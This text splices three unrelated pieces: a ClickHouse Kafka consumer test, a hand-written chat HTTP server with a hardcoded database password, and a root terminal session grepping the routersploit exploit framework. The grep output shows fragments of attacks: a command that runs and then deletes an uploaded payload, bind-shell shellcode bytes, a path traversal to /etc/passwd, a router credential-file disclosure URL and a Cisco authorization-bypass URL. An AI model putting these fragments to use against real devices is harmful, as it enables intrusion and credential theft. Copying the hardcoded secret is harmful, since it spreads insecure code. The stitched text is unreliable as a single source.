CREATE MATERIALIZED VIEW test.kafka_data_{format_name}_mv Engine=Log AS
SELECT *, _topic, _partition, _offset FROM test.kafka_{format_name}
WHERE length(_error) = 0;
DROP TABLE IF EXISTS test.kafka_errors_{format_name}_mv;
CREATE MATERIALIZED VIEW test.kafka_errors_{format_name}_mv Engine=Log AS
SELECT {raw_message} as raw_message, _error as error, _topic as topic, _partition as partition, _offset as offset FROM test.kafka_{format_name}
WHERE length(_error) > 0;
'''.format(topic_name=topic_name, format_name=format_name, raw_message=raw_message,
extra_settings=format_opts.get('extra_settings') or ''))
for format_name, format_opts in list(all_formats.items()):
logging.debug('Checking {format_name}')
topic_name = f"{topic_name_prefix}{format_name}"
# shift offsets by 1 if format supports empty value
offsets = [1, 2, 3] if format_opts.get('supports_empty_value', False) else [0, 1, 2]
result = instance.query('SELECT * FROM test.kafka_data_{format_name}_mv;'.format(format_name=format_name))
expected = '''\
0 0 AM 0.5 1 {topic_name} 0 {offset_0}
1 0 AM 0.5 1 {topic_name} 0 {offset_1}
2 0 AM 0.5 1 {topic_name} 0 {offset_1}
3 0 AM 0.5 1 {topic_name} 0 {offset_1}
4 0 AM 0.5 1 {topic_name} 0 {offset_1}
5 0 AM 0.5 1 {topic_name} 0 {offset_1}
6 0 AM 0.5 1 {topic_name} 0 {offset_1}
7 0 AM 0.5 1 {topic_name} 0 {offset_1}
8 0 AM 0.5 1 {topic_name} 0 {offset_1}
9 0 AM 0.5 1 {topic_name} 0 {offset_1}
10 0 AM 0.5 1 {topic_name} 0 {offset_1}
11 0 AM 0.5 1 {topic_name} 0 {offset_1}
12 0 AM 0.5 1 {topic_name} 0 {offset_1}
13 0 AM 0.5 1 {topic_name} 0 {offset_1}
14 0 AM 0.5 1 {topic_name} 0 {offset_1}
15 0 AM 0.5 1 {topic_name} 0 {offset_1}
0 0 AM 0.5 1 {topic_name} 0 {offset_2}
'''.format(topic_name=topic_name, offset_0=offsets[0], offset_1=offsets[1], offset_2=offsets[2])
# print(('Checking result\n {result} \n expected \n {expected}\n'.format(result=str(result), expected=str(expected))))
assert TSV(result) == TSV(expected), 'Proper result for format: {}'.format(format_name)
errors_result = ast.literal_eval(instance.query('SELECT raw_message, error FROM test.kafka_errors_{format_name}_mv format JSONEachRow'.format(format_name=format_name)))
errors_expected = ast.literal_eval(format_opts['expected'])
# print(errors_result.strip())
# print(errors_expected.strip())
assert errors_result['raw_message'] == errors_expected['raw_message'], 'Proper raw_message for format: {}'.format(format_name)
# Errors text can change, just checking prefixes
assert errors_expected['error'] in errors_result['error'], 'Proper error for format: {}'.format(format_name)
kafka_delete_topic(admin_client, topic_name)
def wait_for_new_data(table_name, prev_count = 0, max_retries = 120):
retries = 0
while True:
new_count = int(instance.query("SELECT count() FROM {}".format(table_name)))
print(new_count)
if new_count > prev_count:
return new_count
else:
retries += 1
time.sleep(0.5)
if retries > max_retries:
raise Exception("No new data :(")
def test_kafka_consumer_failover(kafka_cluster):
# for backporting:
# admin_client = KafkaAdminClient(bootstrap_servers="localhost:9092")
admin_client = KafkaAdminClient(bootstrap_servers="localhost:{}".format(kafka_cluster.kafka_port))
topic_name = "kafka_consumer_failover"
kafka_create_topic(admin_client, topic_name, num_partitions=2)
instance.query('''
DROP TABLE IF EXISTS test.kafka;
DROP TABLE IF EXISTS test.kafka2;
CREATE TABLE test.kafka (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_consumer_failover',
kafka_group_name = 'kafka_consumer_failover_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1,
kafka_poll_timeout_ms = 200;
CREATE TABLE test.kafka2 (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_consumer_failover',
kafka_group_name = 'kafka_consumer_failover_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1,
kafka_poll_timeout_ms = 200;
CREATE TABLE test.kafka3 (key UInt64, value UInt64)
ENGINE = Kafka
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = 'kafka_consumer_failover',
kafka_group_name = 'kafka_consumer_failover_group',
kafka_format = 'JSONEachRow',
kafka_max_block_size = 1,
kafka_poll_timeout_ms = 200;
CREATE TABLE test.destination (
key UInt64,
value UInt64,
_consumed_by LowCardinality(String)
)
ENGINE = MergeTree()
ORDER BY key;
CREATE MATERIALIZED VIEW test.kafka_mv TO test.destination AS
SELECT key, value, 'kafka' as _consumed_by
FROM test.kafka;
CREATE MATERIALIZED VIEW test.kafka2_mv TO test.destination AS
SELECT key, value, 'kafka2' as _consumed_by
FROM test.kafka2;
CREATE MATERIALIZED VIEW test.kafka3_mv TO test.destination AS
SELECT key, value, 'kafka3' as _consumed_by
FROM test.kafka3;
''')
producer = KafkaProducer(bootstrap_servers="localhost:{}".format(cluster.kafka_port), value_serializer=producer_serializer, key_serializer=producer_serializer)
## all 3 attached, 2 working
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':1,'value': 1}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':1,'value': 1}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination')
## 2 attached, 2 working
instance.query('DETACH TABLE test.kafka')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':2,'value': 2}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':2,'value': 2}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 1 attached, 1 working
instance.query('DETACH TABLE test.kafka2')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':3,'value': 3}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':3,'value': 3}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 2 attached, 2 working
instance.query('ATTACH TABLE test.kafka')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':4,'value': 4}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':4,'value': 4}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 1 attached, 1 working
instance.query('DETACH TABLE test.kafka3')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':5,'value': 5}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':5,'value': 5}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 2 attached, 2 working
instance.query('ATTACH TABLE test.kafka2')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':6,'value': 6}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':6,'value': 6}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 3 attached, 2 working
instance.query('ATTACH TABLE test.kafka3')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':7,'value': 7}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':7,'value': 7}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
## 2 attached, same 2 working
instance.query('DETACH TABLE test.kafka3')
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':8,'value': 8}), partition=0)
producer.send(topic='kafka_consumer_failover', value=json.dumps({'key':8,'value': 8}), partition=1)
producer.flush()
prev_count = wait_for_new_data('test.destination', prev_count)
kafka_delete_topic(admin_client, topic_name)
if __name__ == '__main__':
cluster.start()
input("Cluster created, press any key to destroy...")
cluster.shutdown()
|
demo_server.py
|
from http_classes.http_classes import Request, Response, HTTPError, MAX_HEADERS, MAX_LINE, ConnStatus
from http_classes.base_classes import TokenConn, ChatGroups, Reciever, TokensConn, Users, ChatGroup
from email.parser import Parser
import psycopg2
from psycopg2 import pool
import socket
import logging
from _collections import defaultdict
import threading
from datetime import datetime, date, time
# setting all logs
__all__ = ["MyHTTPServer"]
logging.basicConfig(format=u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s',
level=logging.DEBUG)
class MyHTTPServer:
def __init__(self, host, port, server_name):
self._host = host
self._port = port
self._server_name = server_name
self._tokens_conn = TokensConn()
self._pool = psycopg2.pool.ThreadedConnectionPool(1, 50, user='postgres', password='121298', host=self._host,
port=5432, database='chat')
if self._pool:
logging.info("connection pool created successfully")
self._users = Users(self._pool.getconn())
self._connections = {} # TODO make class for connections
self._chat_groups = ChatGroups(self._pool)
self._chat_groups['all'] = ChatGroup('all', "init", {login for login in self._users.keys()})
# "init" is a dummy administrator for chat 'all'
self._serv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=0)
logging.info("server initialized")
def __del__(self):
logging.info("deleting server")
if self._pool:
self._pool.closeall()
self._serv_sock.close()
def serve_forever(self):
try:
self._serv_sock.bind((self._host, self._port))
self._serv_sock.listen()
while True:
conn, address = self._serv_sock.accept()
self._connections[conn] = ConnStatus.active
logging.info(f"connected client: {address}")
try:
th = threading.Thread(target=self.serve_client, args=(conn, address), name=f'{address}')
th.start()
except Exception as e:
logging.warning(f'Client serving failed: {e}')
finally:
self._serv_sock.close()
def serve_client(self, conn: socket.socket, address):
req = None
start = datetime.now()
timeout = 30 #30 seconds of timeout - affects only on connections from curls. Connections from demo_client.py are keeping alive
logging.debug(f"start of client = {start}")
while True:
req = None
try:
data = conn.recv(32, socket.MSG_PEEK)
if not data:
# no data in client socket, but we are waiting for it
if self._connections[conn] == ConnStatus.closing:
print(self._connections.values())
break
else:
now = datetime.now()
if (now - start).seconds >= timeout:
logging.debug(f"closing thread({threading.current_thread().name}) because of inactivity of user for {timeout}s")
break;
continue
req = self.parse_request(conn)
if req:
logging.debug(f'thread id: {threading.currentThread().getName()}')
logging.debug(f'there is req {req.method}')
resp = self.handle_request(req, conn)
self.send_response(conn, resp)
logging.debug(f'thread id: {threading.currentThread().getName()} - finished cycle')
if req:
req.rfile.close()
start = datetime.now()
except ConnectionResetError as e:
logging.warning(f"base disconnected : {e}")
break # connection was lost, returning from thread
except Exception as e:
try:
self.send_error(conn, e)
except BrokenPipeError as er:
logging.warning(f'Client serving failed:{er}')
break
except ConnectionError as e:
logging.warning(f'Client serving failed:{e}')
break
if req:
req.rfile.close()
if conn:
print("close connection")
conn.close()
del self._connections[conn]
def parse_request(self, conn):
rfile = conn.makefile('rb')
method, target, ver = self.parse_request_line(rfile)
headers = self.parse_headers(rfile)
host = headers.get('Host')
if not host:
raise HTTPError(400, 'Bad request',
'Host header is missing')
if host not in (self._server_name,
f'{self._server_name}:{self._port}'):
raise HTTPError(404, 'Not found')
return Request(method, target, ver, headers, rfile)
def parse_request_line(self, rfile):
raw = rfile.readline(MAX_LINE + 1)
if len(raw) > MAX_LINE:
raise HTTPError(400, 'Bad request',
'Request line is too long')
req_line = str(raw, 'iso-8859-1')
words = req_line.split()
if len(words) != 3:
raise HTTPError(400, 'Bad request',
'Malformed request line')
method, target, ver = words
if ver != 'HTTP/1.1':
raise HTTPError(505, 'HTTP Version Not Supported')
return method, target, ver
def parse_headers(self, rfile):
headers = []
while True:
line = rfile.readline(MAX_LINE + 1)
if len(line) > MAX_LINE:
raise HTTPError(494, 'Request header too large')
if line in (b'\r\n', b'\n', b''):
break
headers.append(line)
if len(headers) > MAX_HEADERS:
raise HTTPError(494, 'Too many headers')
sheaders = b''.join(headers).decode('iso-8859-1')
return Parser().parsestr(sheaders)
def handle_request(self, req: Request, connection: socket.socket) -> Response:
pass
def send_response(self, conn, resp):
wfile = conn.makefile('wb')
status_line = f'HTTP/1.1 {resp.status} {resp.reason}\r\n'
wfile.write(status_line.encode('iso-8859-1'))
if resp.headers:
for (key, value) in resp.headers:
header_line = f'{key}: {value}\r\n'
wfile.write(header_line.encode('iso-8859-1'))
wfile.write(b'\r\n')
if resp.body:
wfile.write(resp.body)
wfile.flush()
wfile.close()
def send_error(self, conn, err):
try:
logging.debug("sending error")
status = err.status
reason = err.reason
body = (err.body or err.reason).encode('utf-8')
except:
logging.info(f'Internal error: {err}')
status = 500
reason = b'Internal Server Error'
body = b'Internal Server Error'
resp = Response(status, reason,
[('Content-Length', len(body))],
body)
self.send_response(conn, resp)
|
researchon_backgroundcontrolling routerpsloit.py
|
"""
if not os.path.exists(self.history_file):
open(self.history_file, 'a+').close()
readline.read_history_file(self.history_file)
readline.set_history_length(self.history_length)
atexit.register(readline.write_history_file, self.history_file)
readline.parse_and_bind('set enable-keypad on')
readline.set_completer(self.complete)
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
'description': 'Exploits ZTE F460 and F660 backdoor vulnerability that allows executing commands on operating system level.',
routersploit/modules/exploits/routers/zte/f460_f660_backdoor.py:55: print_info(self.execute(cmd))
routersploit/modules/exploits/routers/zte/f460_f660_backdoor.py:57: def execute(self, cmd):
routersploit/modules/exploits/routers/zte/f460_f660_backdoor.py:85: response = self.execute(cmd)
routersploit/modules/exploits/cameras/multi/P2P_wificam_rce.py:22: 'name': 'P2P wificam remote code execution',
routersploit/modules/exploits/cameras/multi/P2P_wificam_rce.py:25: unauthenticated remote code execution.""",
routersploit/modules/exploits/cameras/multi/P2P_wificam_rce.py:1303: def execute(self, cmd):
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:15: Exploit implementation for Asus B1M Projector Remote Code Execution vulnerability.
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:16: If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:20: 'description': 'Module exploits Asus B1M Projector Remote Code Execution vulnerability which '
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:21: 'allows executing command on operating system level with root privileges.',
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:45: def execute(self, cmd):
routersploit/modules/exploits/misc/asus/b1m_projector_rce.py:58: response_text = self.execute(cmd)
routersploit/modules/exploits/misc/wepresent/wipg1000_rce.py:16: If the target is vulnerable, it is possible to execute commands on operating system level.
routersploit/modules/exploits/misc/wepresent/wipg1000_rce.py:21: 'executing commands on operating system level.',
routersploit/modules/exploits/misc/wepresent/wipg1000_rce.py:48: def execute(self, cmd):
routersploit/modules/payloads/mipsbe/bind_tcp.py:82: # execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
routersploit/modules/payloads/mipsbe/bind_tcp.py:95: "\x24\x02\x0f\xab" + # li v0,4011 ( __NR_execve )
routersploit/modules/payloads/mipsle/bind_tcp.py:87: "\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
routersploit/modules/scanners/autopwn.py:142: with threads.ThreadPoolExecutor(self.threads) as executor:
routersploit/modules/scanners/autopwn.py:145: executor.submit(self.target_function, exploit)
Binary file routersploit/modules/scanners/autopwn.pyc matches
routersploit/modules/creds/http_basic_bruteforce.py:17:from routersploit.exceptions import StopThreadPoolExecutor
routersploit/modules/creds/http_basic_bruteforce.py:78: with threads.ThreadPoolExecutor(self.threads) as executor:
routersploit/modules/creds/http_basic_bruteforce.py:80: executor.submit(self.target_function, url, record)
routersploit/modules/creds/http_basic_bruteforce.py:101: raise StopThreadPoolExecutor
routersploit/modules/creds/http_digest_default.py:15:from routersploit.exceptions import StopThreadPoolExecutor
routersploit/modules/creds/http_digest_default.py:16:from routersploit.threads import ThreadPoolExecutor
routersploit/modules/creds/http_digest_default.py:72: with ThreadPoolExecutor(self.threads) as executor:
routersploit/modules/creds/http_digest_default.py:75: executor.submit(self.target_function, url, username, password)
routersploit/modules/creds/http_digest_default.py:98: raise StopThreadPoolExecutor
routersploit/modules/creds/http_digest_bruteforce.py:17:from routersploit.exceptions import StopThreadPoolExecutor
routersploit/modules/creds/http_digest_bruteforce.py:80: with threads.ThreadPoolExecutor(self.threads) as executor:
routersploit/modules/creds/http_digest_bruteforce.py:82: executor.submit(self.target_function, url, record)
routersploit/modules/creds/http_digest_bruteforce.py:103: raise StopThreadPoolExecutor
routersploit/modules/creds/http_basic_default.py:15:from routersploit.exceptions import StopThreadPoolExecutor
routersploit/modules/creds/http_basic_default.py:16:from routersploit.threads import ThreadPoolExecutor
routersploit/modules/creds/http_basic_default.py:70: with ThreadPoolExecutor(self.threads) as executor:
routersploit/modules/creds/http_basic_default.py:73: executor.submit(self.target_function, url, username, password)
routersploit/modules/creds/http_basic_default.py:96: raise StopThreadPoolExecutor
routersploit/threads.py:12:from .exceptions import StopThreadPoolExecutor
routersploit/threads.py:34: except StopThreadPoolExecutor:
routersploit/threads.py:42:class ThreadPoolExecutor(object):
Binary file routersploit/exceptions.pyc matches
Binary file routersploit/shell.pyc matches
routersploit/utils/__init__.py:113: before executing command specific to modules (ex. 'run').
routersploit/utils/__init__.py:179: multiple targets definition. Decorated function will be executed
Binary file routersploit/utils/__init__.pyc matches
routersploit/shell.py:33: print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
routersploit/shell.py:117: params['exec_binary'] = data
routersploit/shell.py:129: print_status("Executing '{}' on the device...".format(cmd))
routersploit/shell.py:130: print_info(exploit.execute(cmd))
routersploit/shell.py:155: def __init__(self, exploit, payload, options, location="", wget_options={}, echo_options={}, exec_binary=None):
routersploit/shell.py:167: # process of executing payload
routersploit/shell.py:168: self.exec_binary = exec_binary
routersploit/shell.py:221: self.exploit.execute(cmd)
routersploit/shell.py:260: self.exploit.execute(cmd)
routersploit/shell.py:280: # set of instructions to execute payload on the device
routersploit/shell.py:281: if isinstance(self.exec_binary, list) or isinstance(self.exec_binary, tuple):
routersploit/shell.py:282: for item_exec_binary in self.exec_binary:
routersploit/shell.py:283: if isinstance(item_exec_binary, str):
routersploit/shell.py:285: commands.append(item_exec_binary.format(path))
routersploit/shell.py:287: commands.append(item_exec_binary)
routersploit/shell.py:288: elif callable(item_exec_binary):
routersploit/shell.py:289: commands.append(item_exec_binary(path))
routersploit/shell.py:291: # instruction to execute generic payload e.g. netcat / awk
routersploit/shell.py:292: elif isinstance(self.exec_binary, str):
routersploit/shell.py:294: commands.append(self.exec_binary.format(path))
routersploit/shell.py:296: commands.append(self.exec_binary)
routersploit/shell.py:298: # default way of executing payload
routersploit/shell.py:300: exec_binary_str = "chmod 777 {0}; {0}; rm {0}".format(path)
routersploit/shell.py:301: commands.append(exec_binary_str)
routersploit/shell.py:311: # execute binary
routersploit/shell.py:314: print_status("Executing payload on the device")
routersploit/shell.py:318: self.exploit.execute(command)
routersploit/shell.py:320: # asynchronous last command to execute binary & rm binary
routersploit/shell.py:321: thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
routersploit/shell.py:336: # execute binary
routersploit/shell.py:341: self.exploit.execute(command)
routersploit/shell.py:343: # asynchronous last command to execute binary & rm binary
routersploit/shell.py:344: thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
tests/test_completer.py:38: 'exec exit help search show use \r\n',
tests/test_completer.py:97: 'back exec help search setg use \r\n'
tests/test_completer.py:201: "back exec help search setg use \r\n"
tests/test_completer.py:214: 'back exec help search setg unsetg \r\n'
tests/test_interpreter.py:215: def test_command_run_exception_during_exploit_execution(self,
tests/test_interpreter.py:298: ['back', 'check', 'exec ', 'exit', 'help', 'run', 'search ',
tests/test_interpreter.py:307: ['back', 'check', 'exec ', 'exit', 'help', 'run', 'search ',
tests/test_interpreter.py:317: ['exec ', 'exit', 'help', 'search ', 'show ', 'use ']
tests/test_interpreter.py:677: def test_command_exec(self, mock_system):
tests/test_interpreter.py:678: self.interpreter.command_exec("foo -bar")
root@CRACK_COCAINE:~/Documents/routersploit# egrep -ix "show" * --color
grep: routersploit: Is a directory
grep: tests: Is a directory
root@CRACK_COCAINE:~/Documents/routersploit# egrep -irx "show" * --color
root@CRACK_COCAINE:~/Documents/routersploit# egrep -irx "show" * --color
root@CRACK_COCAINE:~/Documents/routersploit# egrep -irn "show" * --color
CONTRIBUTING.md:23:3. If exploit does not work but it should, check "show info" for more information. References should provide you with links to proof of concept exploits.
README.md:103: rsf (D-LINK DIR-300 & DIR-600 RCE) > show options
README.md:137: rsf (D-LINK DIR-300 & DIR-600 RCE) > show info
README.md:189: rsf (SSH Default Creds) > show options
README.md:250: rsf (D-Link Scanner) > show options
routersploit/interpreter.py:174: show [info|options|devices] Print information, options, or target devices for a module
routersploit/interpreter.py:185: self.show_sub_commands = (
routersploit/interpreter.py:191: ['use ', 'exec ', 'help', 'exit', 'show ', 'search ']
routersploit/interpreter.py:394: def _show_info(self, *args, **kwargs):
routersploit/interpreter.py:402: def _show_options(self, *args, **kwargs):
routersploit/interpreter.py:417: def _show_devices(self, *args, **kwargs): # TODO: cover with tests
routersploit/interpreter.py:433: def __show_modules(self, root=''):
routersploit/interpreter.py:437: def _show_all(self, *args, **kwargs):
routersploit/interpreter.py:438: self.__show_modules()
routersploit/interpreter.py:440: def _show_scanners(self, *args, **kwargs):
routersploit/interpreter.py:441: self.__show_modules('scanners')
routersploit/interpreter.py:443: def _show_exploits(self, *args, **kwargs):
routersploit/interpreter.py:444: self.__show_modules('exploits')
routersploit/interpreter.py:446: def _show_creds(self, *args, **kwargs):
routersploit/interpreter.py:447: self.__show_modules('creds')
routersploit/interpreter.py:449: def command_show(self, *args, **kwargs):
routersploit/interpreter.py:452: getattr(self, "_show_{}".format(sub_command))(*args, **kwargs)
routersploit/interpreter.py:454: utils.print_error("Unknown 'show' sub-command '{}'. "
routersploit/interpreter.py:455: "What do you want to show?\n"
routersploit/interpreter.py:456: "Possible choices are: {}".format(sub_command, self.show_sub_commands))
routersploit/interpreter.py:459: def complete_show(self, text, *args, **kwargs):
routersploit/interpreter.py:461: return [command for command in self.show_sub_commands if command.startswith(text)]
routersploit/interpreter.py:463: return self.show_sub_commands
Binary file routersploit/interpreter.pyc matches
routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py:19: Example: http://10.0.0.1/level/99/exec/show/startup/config
routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py:39: show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')
routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py:45: url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, self.access_level, self.show_command)
routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py:59: url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
routersploit/modules/exploits/routers/cisco/ios_http_authorization_bypass.py:64: if response.status_code == 200 and "Command was: {}".format(self.show_command) in response.text:
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py:44: device = exploits.Option(-1, 'Target device - use "show devices"', validators=validators.integer)
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py:55: # next bytes are shown as offsets from r1
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py:118: # next bytes are shown as offsets from r1
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py:176: print_error("Set target device - use \"show devices\" and \"set device <id>\"")
routersploit/modules/exploits/routers/multi/misfortune_cookie.py:129: device = exploits.Option('', 'Target device (show devices)') # target firmware
routersploit/modules/exploits/routers/multi/rom0.py:30: 'http://www.osvdb.org/show/osvdb/102668',
routersploit/modules/exploits/routers/2wire/4011g_5012nv_path_traversal.py:48: data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../..{}".format(self.filename),
routersploit/modules/exploits/routers/2wire/4011g_5012nv_path_traversal.py:49: "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
routersploit/modules/exploits/routers/2wire/4011g_5012nv_path_traversal.py:68: data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../../etc/passwd",
routersploit/modules/exploits/routers/2wire/4011g_5012nv_path_traversal.py:69: "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
routersploit/modules/exploits/routers/dlink/dir_300_320_600_615_info_disclosure.py:43: url = "{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)
routersploit/modules/exploits/routers/dlink/dir_300_320_600_615_info_disclosure.py:60: url = "{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)
Binary file routersploit/shell.pyc matches
routersploit/utils/__init__.py:369: Pretty printing dictionary in specific order. (as in 'show info' command)
Binary file routersploit/utils/__init__.pyc matches
routersploit/shell.py:35: print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
routersploit/shell.py:52: elif cmd == "show payloads":
routersploit/shell.py:79: if cmd == "show options":
tests/test_completer.py:38: 'exec exit help search show use \r\n',
tests/test_completer.py:98: 'check exit run set show \r\n',
tests/test_completer.py:138: 'search set setg show \r\n',
tests/test_completer.py:202: "check exit run set show \r\n",
tests/test_completer.py:215: 'check exit run set show use \r\n',
tests/test_completer.py:244: def test_complete_show_raw(self):
tests/test_completer.py:249: 'show ',
tests/test_completer.py:252: def test_complete_show(self):
tests/test_completer.py:254: self.rsf.send("show \t\t")
tests/test_completer.py:261: def test_complete_show_info(self):
tests/test_completer.py:263: self.rsf.send("show i\t\t")
tests/test_completer.py:266: 'show info'
tests/test_completer.py:269: def test_complete_show_options(self):
tests/test_completer.py:271: self.rsf.send("show o\t\t")
tests/test_completer.py:274: 'show options'
tests/test_interpreter.py:299: 'set ', 'setg ', 'show ', 'use ']
tests/test_interpreter.py:308: 'set ', 'setg ', 'show ', 'unsetg ', 'use ']
tests/test_interpreter.py:317: ['exec ', 'exit', 'help', 'search ', 'show ', 'use ']
tests/test_interpreter.py:418: def test_show_info(self, mock_print):
tests/test_interpreter.py:430: self.interpreter._show_info()
tests/test_interpreter.py:449: def test_command_show_info_module_with_no_metadata(self, mock_print):
tests/test_interpreter.py:455: self.interpreter._show_info()
tests/test_interpreter.py:462: def test_show_options(self, mock_print):
tests/test_interpreter.py:481: self.interpreter._show_options()
tests/test_interpreter.py:509: def test_command_show_options_when_there_is_no_module_opts(self,
tests/test_interpreter.py:522: self.interpreter._show_options()
tests/test_interpreter.py:541: def test_command_show(self):
tests/test_interpreter.py:543: "_show_options") as mock_show_options:
tests/test_interpreter.py:544: self.interpreter.command_show("options")
tests/test_interpreter.py:545: mock_show_options.assert_called_once_with("options")
tests/test_interpreter.py:548: def test_command_show_unknown_sub_command(self, mock_print_error):
tests/test_interpreter.py:549: self.interpreter.command_show('unknown_sub_command')
tests/test_interpreter.py:551: "Unknown 'show' sub-command 'unknown_sub_command'. "
tests/test_interpreter.py:552: "What do you want to show?\n"
tests/test_interpreter.py:554: self.interpreter.show_sub_commands))
tests/test_interpreter.py:557: def test_show_all(self, mock_print):
tests/test_interpreter.py:567: self.interpreter._show_all()
tests/test_interpreter.py:581: def test_show_scanners(self, mock_print):
tests/test_interpreter.py:591: self.interpreter._show_scanners()
tests/test_interpreter.py:598: def test_show_exploits(self, mock_print):
tests/test_interpreter.py:608: self.interpreter._show_exploits()
tests/test_interpreter.py:615: def test_show_creds(self, mock_print):
tests/test_interpreter.py:625: self.interpreter._show_creds()
tests/test_interpreter.py:643: def test_if_command_show_info_has_module_required_decorator(self):
tests/test_interpreter.py:645: self.interpreter._show_info,
tests/test_interpreter.py:649: def test_if_command_show_options_has_module_required_decorator(self):
tests/test_interpreter.py:651: self.interpreter._show_options,
tests/test_interpreter.py:655: def test_if_command_show_devices_has_module_required_decorator(self):
tests/test_interpreter.py:657: self.interpreter._show_devices,
tests/test_interpreter.py:672: cmd, args = self.interpreter.parse_line("show options")
tests/test_interpreter.py:673: self.assertEqual(cmd, "show")
root@CRACK_COCAINE:~/Documents/routersploit# egrep -irn "cmd ==" * --color
routersploit/interpreter.py:117: if cmd == '':
routersploit/shell.py:52: elif cmd == "show payloads":
routersploit/shell.py:79: if cmd == "show options":
routersploit/shell.py:102: elif cmd == "run":
routersploit/shell.py:125: elif cmd == "back":
root@CRACK_COCAINE:~/Documents/routersploit# ls
CONTRIBUTING.md LICENSE README.md requirements.txt routersploit.log tests
Dockerfile Makefile requirements-dev.txt routersploit rsf.py
root@CRACK_COCAINE:~/Documents/routersploit# ls */*.log
ls: cannot access '*/*.log': No such file or directory
root@CRACK_COCAINE:~/Documents/routersploit# ls */*.log
ls: cannot access '*/*.log': No such file or directory
root@CRACK_COCAINE:~/Documents/routersploit# ls *.log/*.log
ls: cannot access '*.log/*.log': No such file or directory
root@CRACK_COCAINE:~/Documents/routersploit# ls
CONTRIBUTING.md LICENSE README.md requirements.txt routersploit.log tests
Dockerfile Makefile requirements-dev.txt routersploit rsf.py
root@CRACK_COCAINE:~/Documents/routersploit# cd routersploit
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# ls
exceptions.py exploits.pyc interpreter.py payloads.py printer.pyc templates utils wordlists
exceptions.pyc __init__.py interpreter.pyc payloads.pyc shell.py threads.py validators.py
exploits.py __init__.pyc modules printer.py shell.pyc threads.pyc validators.pyc
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# ls *.log
ls: cannot access '*.log': No such file or directory
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# ls -la
total 164
drwxr-xr-x 6 root root 4096 Dec 13 10:58 .
drwxr-xr-x 6 root root 4096 Dec 13 10:58 ..
-rw-r--r-- 1 root root 343 Dec 13 10:15 exceptions.py
-rw-r--r-- 1 root root 945 Dec 13 10:31 exceptions.pyc
-rw-r--r-- 1 root root 4078 Dec 13 10:15 exploits.py
-rw-r--r-- 1 root root 5152 Dec 13 10:31 exploits.pyc
-rw-r--r-- 1 root root 460 Dec 13 10:15 __init__.py
-rw-r--r-- 1 root root 797 Dec 13 10:31 __init__.pyc
-rw-r--r-- 1 root root 18793 Dec 13 10:15 interpreter.py
-rw-r--r-- 1 root root 21898 Dec 13 10:58 interpreter.pyc
drwxr-xr-x 6 root root 4096 Dec 13 10:31 modules
-rw-r--r-- 1 root root 5804 Dec 13 10:15 payloads.py
